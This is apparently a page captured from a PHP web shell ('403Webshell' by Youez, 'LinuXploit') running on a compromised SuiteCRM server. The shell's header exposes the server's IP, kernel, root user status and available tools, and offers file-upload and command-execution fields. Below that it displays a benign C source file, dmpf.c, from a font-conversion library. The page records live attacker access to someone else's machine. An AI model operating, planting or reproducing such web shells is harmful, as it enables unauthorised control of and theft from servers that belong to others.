403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/crm_easylife/libraries/tcpdf/fonts/ttf2ufm/ttf2ufm-src/other/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/crm_easylife/libraries/tcpdf/fonts/ttf2ufm/ttf2ufm-src/other/dmpf.c
/*
 * see COPYRIGHT
 */

#include <stdio.h>
#include <ctype.h>
#include "t1lib.h"

/*
 * Dump a rasterizarion of the font at small size
 */

#define PROGNAME "dmpf"

#include "bmpfont.h"


main(ac, av)
	int ac;
	char **av;
{
	int fontid1, fontid2;
	GLYPH *g1, *g2;
	int chr, size, diff, offset;

	if(ac!=2) {
		fprintf(stderr,"Use: %s font\n", PROGNAME);
		exit(1);
	}

	chkneg(T1_SetBitmapPad(MYPAD));
	chkneg(T1_InitLib(NO_LOGFILE|IGNORE_CONFIGFILE|IGNORE_FONTDATABASE));
	chkneg(fontid1=T1_AddFont(av[1]));


	resetmap();
	for(chr=0; chr<256; chr++) {
		for(size=MAXSIZE; size>=MINSIZE; size--) {
			chknull( g1=T1_CopyGlyph(T1_SetChar( fontid1, chr, (float)size, NULL)) );

			drawglyf(size, g1);

			chkneg(T1_FreeGlyph(g1));
		}

		printf("*** Glyph %d==0x%x  %c\n", chr, chr,
			isprint(chr) ? chr : ' ');
		printmap(stdout);
		resetmap();
	}

	printf("All done!\n");
}

Youez - 2016 - github.com/yon3zu
LinuXploit